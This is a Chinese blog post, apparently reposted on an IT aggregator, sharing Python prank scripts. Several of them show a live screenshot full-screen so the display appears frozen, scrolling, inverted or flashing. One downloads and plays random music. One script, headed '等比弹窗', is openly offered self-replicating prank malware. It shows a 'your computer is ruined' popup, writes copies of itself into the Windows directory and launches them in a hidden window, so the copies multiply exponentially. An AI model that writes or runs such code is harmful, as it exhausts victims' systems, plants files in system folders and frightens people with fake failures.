IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 游戏开发 -> Python程序特效 -> 正文阅读

[游戏开发]Python程序特效

我的仓库,需要的文件可以下载。
在这里插入图片描述
点这儿。

屏幕重影

在这里插入图片描述

import pygame
from pygame.locals import *
from pyautogui import screenshot

pygame.init()
canvas = pygame.display.set_mode((800,800))
pygame.display.set_caption('Sshot')
canvas.fill((255,255,255))
screenshot(region = (0,0,800,800)).save('sshot.png')
i = pygame.image.load('sshot.png')
canvas.blit(i,(0,0))

def h():
    for event in pygame.event.get():
        if event.type==KEYDOWN and event.key==K_ESCAPE:
            pygame.quit()
            exit()

while True:
    canvas.blit(i,(0,0))
    screenshot(region = (0,0,800,800)).save('sshot.png')
    i = pygame.image.load('sshot.png')
    h()
    pygame.display.update()

屏幕移动

在这里插入图片描述

import pygame
from pygame.locals import *
from pyautogui import screenshot
from random import randint

def f():
    global bg
    screenshot(region = (0,0,1920,1080)).save('sshot.png')
    bg = pygame.image.load('sshot.png')

f()
pygame.init()
canvas = pygame.display.set_mode((1920,1080))
canvas.fill((255,255,255))
pygame.display.set_caption('MOVE')

def h():
    for event in pygame.event.get():
        if event.type == KEYDOWN and event.key == K_ESCAPE:
            pygame.quit()
            exit()

x1 = 0
y1 = 0
height = 1080
x2 = 0
y2 = -height

x3 = 0
y3 = 0
width = 1920
x4 = 0
y4 = 0
n = randint(0,1)
while True:
    if n:
        canvas.blit(bg,(x1,y1))
        y1 += 3
        canvas.blit(bg,(x2,y2))
        y2 += 3
        if y1 > height:
            y1 = -height
        if y2 > height:
            y2 = -height
    else:
        canvas.blit(bg,(x3,y3))
        x3 += 3
        canvas.blit(bg,(x4,y4))
        x4 += 3
        if x3 > width:
            x3 = -width
        if x4 > width:
            x4 = -width
    h()
    pygame.display.update()

随机音乐

from random import choice
from requests import get
from os import system

# range(ord('a'),ord('t') + 1)
fl = []
for i in range(97,117):
    fl.append('https://pandaoxi.coding.net/p/pandaoxi/d/PanDaoxi/git/raw/master/%E9%9F%B3%E4%B9%90%E8%B5%84%E6%BA%90/{}.mp3?download=true'.format(chr(i)))
f = choice(fl)
print(f)
with open('music.mp3','wb') as w:
    w.write(get(f).content)

system('call music.mp3')

在这里插入图片描述

等比弹窗

以前做过,不演示了

from tkinter import Tk,Label
from random import randint
from os import system,name,environ
from time import sleep

title = "Message"
message = "很不好意思,您的电脑废了"
loops = []
window = Tk()
window.geometry("350x50")
window.title(title)
path=environ["windir"]

def main():
    global loops,window
    Label(window,text=message,font=('Microsoft YaHei',20)).pack()
    sleep(5)
    with open(__file__,"r",encoding="utf-8") as f:
        text = f.read()
    for i in range(0,2):
        content = "%s\\%d.py" % (path,randint(100000,999999))
        with open(content,"w",encoding="utf-8") as f:
            f.write(text)
        loops.append(content)
    for i in range(0,2):
        system("start /min cmd /c python %s" % loops[i])

if __name__ == "__main__" and name == "nt":
    main()
else:
    showerror("Message","无法运行程序,原因可能是:\n①(1)您非主动运行程序。\n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。")
    exit()
window.mainloop()

屏幕反色

在这里插入图片描述

import cv2
import pygame
from pygame.locals import *
from pyautogui import screenshot
from random import randint
from time import sleep

screenshot(region = (0,0,1920,1080)).save('sshot.png')
im = pygame.image.load('sshot.png')
pygame.init()
canvas = pygame.display.set_mode((1920,1080))
pygame.display.set_caption('SCREEN')
for i in range(0,100): canvas.blit(im,(0,0))

def f():
    screenshot(region = (0,0,1920,1080)).save('sshots.png')
    img = cv2.imread('sshots.png', 1)
    img_shape = img.shape
    h = img_shape[0]
    w = img_shape[1]
    dst = 255 - img
    x = randint(100000,999999)
    cv2.imwrite("save%d.png" % x,dst,[cv2.IMWRITE_PNG_COMPRESSION,0])
    i = pygame.image.load("save%d.png" % x)
    canvas.blit(i,(0,0))
    cv2.waitKey(0)
    
def h():
    for event in pygame.event.get():
        if event.type == KEYDOWN and event.key == K_ESCAPE:
            pygame.quit()
            exit()

while True:
    f()
    h()
    pygame.display.update()
    pygame.time.delay(randint(500,3500))

屏幕闪烁

这个我也做过,不说了

import pygame
from pygame.locals import *
from random import randint

pygame.init()
canvas = pygame.display.set_mode((1920,1080))
pygame.display.set_caption("Computer Dance")
canvas.fill((255,255,255))

def h():
    for event in pygame.event.get():
        if event.type==KEYDOWN and event.key==K_ESCAPE:
            pygame.quit()
            exit()
            
while True:
    r,g,b = randint(0,255),randint(0,255),randint(0,255)
    rgb = (r,g,b)
    canvas.fill(rgb)
    h()
    pygame.display.update()

屏幕失效

import pygame
from pygame.locals import *
from pyautogui import screenshot

screenshot(region = (0,0,1920,1080)).save('sshot.png')
i = pygame.image.load("./sshot.png")
pygame.init()
canvas = pygame.display.set_mode((1920,1080))
pygame.display.set_caption('Sshot')
canvas.blit(i,(0,0))

def h():
    for event in pygame.event.get():
        if event.type==KEYDOWN and event.key==K_ESCAPE:
            pygame.quit()
            exit()

while True:
    canvas.blit(i,(0,0))
    screenshot(region = (0,0,1920,1080)).save('sshot.png')
    i = pygame.image.load('sshot.png')
    h()
    pygame.display.update()
  游戏开发 最新文章
6、英飞凌-AURIX-TC3XX: PWM实验之使用 GT
泛型自动装箱
CubeMax添加Rtthread操作系统 组件STM32F10
python多线程编程:如何优雅地关闭线程
数据类型隐式转换导致的阻塞
WebAPi实现多文件上传,并附带参数
from origin ‘null‘ has been blocked by
UE4 蓝图调用C++函数(附带项目工程)
Unity学习笔记(一)结构体的简单理解与应用
【Memory As a Programming Concept in C a
上一篇文章      下一篇文章      查看所有文章
加:2022-02-24 15:38:55  更:2022-02-24 15:40:11 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/27 16:46:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码